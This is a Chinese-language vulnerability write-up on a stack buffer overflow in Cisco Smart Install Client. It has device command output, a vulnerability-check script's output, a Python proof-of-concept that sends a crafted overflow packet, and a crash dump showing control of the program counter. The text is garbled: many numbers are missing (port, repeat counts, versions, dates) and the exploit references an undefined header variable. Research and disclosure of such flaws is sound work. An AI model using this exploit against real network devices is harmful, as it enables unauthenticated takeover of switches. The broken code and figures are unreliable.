0x01前言

在Smart Install Client代码中发现了基于堆栈的缓冲区溢出漏洞，该漏洞攻击者无需身份验证登录即可远程执行任意代码。cisco Smart Install是一种“即插即用”的配置和图像管理功能，可为新的交换机提供简易的部署。该功能允许用户将思科交换机放置到到任何位置，将其安装到网络中，然后启动，无需其他配置要求。因此它可以完全控制易受攻击的网络设备。Smart Install是一种即插即用的配置和图像管理的功能，为新型交换机提供良好的图形界面管理。它能使初始化配置过程自动化，并通过当前加载操作系统的镜像提供新的交换机。该功能还可在配置发生变化的时候提供热插热拔的实时备份。需要注意的是，该功能在默认情况下客户端上是启用了的。

switch1# show vstack config

 Role: Client (SmartInstall enabled)

 .

switch2# show vstack config

 Capability: Client

 Oper Mode: Enabled

 Role: Client

switch>show tcp brief all

TCBLocal Address           Foreign Address        (state)

0344B794*.                  *.*                    LISTEN

0350A018*.                   *.*                    LISTEN

*.                   *.*                    LISTEN

03292D9C*.                    *.*                    LISTEN

*.                    *.*                    LISTEN

Router> show version

Cisco IOS Software, C2951 Software (C2951-UNIVERSALK9-M), Version 15.5()T1, RELEASE SOFTWARE (fc1)

Technical Support: http://www.cisco.com/techsupport

Copyright (c) - by Cisco Systems, Inc.

Compiled Mon -Jun- : by prod_rel_team

ios-xe-device# show version

Cisco IOS Software, Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version Denali 16.2., RELEASE SOFTWARE (fc1)

Technical Support: http://www.cisco.com/techsupport

Copyright (c) - by Cisco Systems, Inc.

Compiled Sun -Mar- : by mcpre

# python smi_check.py -i targetip

[INFO] Sending TCP probe to targetip:

[INFO] Smart Install Client feature active on targetip:

[INFO] targetip is affected

# smi_ibc_init_discovery_BoF.py

import socket 

import struct 

from optparse import OptionParser 

# Parse the target options 

parser = OptionParser() 

parser.add_option("-t", "--target", dest="target", help="Smart Install Client", default="192.168.1.1")  parser.add_option("-p", "--port", dest="port", type="int", help="Port of Client", default=)  (options, args) = parser.parse_args() 

def craft_tlv(t, v, t_fmt='!I', l_fmt='!I'): 

    return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v 

def send_packet(sock, packet): 

    sock.send(packet)  

def receive(sock):  

    return sock.recv() 

if __name__ == "__main__": 

    print "[*] Connecting to Smart Install Client ", options.target, "port", options.port 

    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    con.connect((options.target, options.port)) 

    payload = 'BBBB' *   shellcode = 'D' *  

    data = 'A' *  + struct.pack('!I', len(payload) + len(shellcode) + ) + payload 

    tlv_1 = craft_tlv(0x00000001, data)  tlv_2 = shellcode 

    pkt = hdr + tlv_1 + tlv_2 

    print "[*] Send a malicious packet"  

    send_packet(con, pkt)

:: UTC Mon Mar  : Unexpected exception to CPUvector , PC = 

-Traceback= 

Writing crashinfo to flash:/crashinfo_ext/crashinfo_ext_15

=== Flushing messages (:: UTC Mon Mar  ) === Buffered messages:

...

Queued messages:

Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2()SE11, RELEASE SOFTWARE

(fc3)

Technical Support: http://www.cisco.com/techsupport

Copyright (c) - by Cisco Systems, Inc.

Compiled Wed -Aug- : by prod_rel_team

Instruction TLB Miss Exception (0x1200)!

SRR0 = 0x42424240  SRR1 = 0x00029230  SRR2 = 0x0152ACE4  SRR3 = 0x00029230

ESR = 0x00000000  DEAR = 0x00000000  TSR = 0x84000000  DBSR = 0x00000000

CPU Register Context:

Vector = 0x00001200  PC = 0x42424240  MSR = 0x00029230  CR = 0x33000053

LR = 0x42424242  CTR = 0x014D5268  XER = 0xC000006A

R0 = 0x42424242  R1 = 0x02B1B0B0  R2 = 0x00000000  R3 = 0x032D12B4

R4 = 0x000000B6  R5 = 0x0000001E  R6 = 0xAA3BEC00  R7 = 0x00000014

R8 = 0x0000001E  R9 = 0x00000000  R10 = 0x001BA800  R11 = 0xFFFFFFFF

R12 = 0x00000000  R13 = 0x00110000  R14 = 0x0131E1A8  R15 = 0x02B1B1A8

R16 = 0x02B1B128  R17 = 0x00000000  R18 = 0x00000000  R19 = 0x02B1B128

R20 = 0x02B1B128  R21 = 0x00000001  R22 = 0x02B1B128  R23 = 0x02B1B1A8

R24 = 0x00000001  R25 = 0x00000000  R26 = 0x42424242  R27 = 0x42424242

R28 = 0x42424242  R29 = 0x42424242  R30 = 0x42424242  R31 = 0x42424242

Stack trace:

PC = 0x42424240, SP = 0x02B1B0B0

Frame : SP = 0x42424242    PC = 0x42424242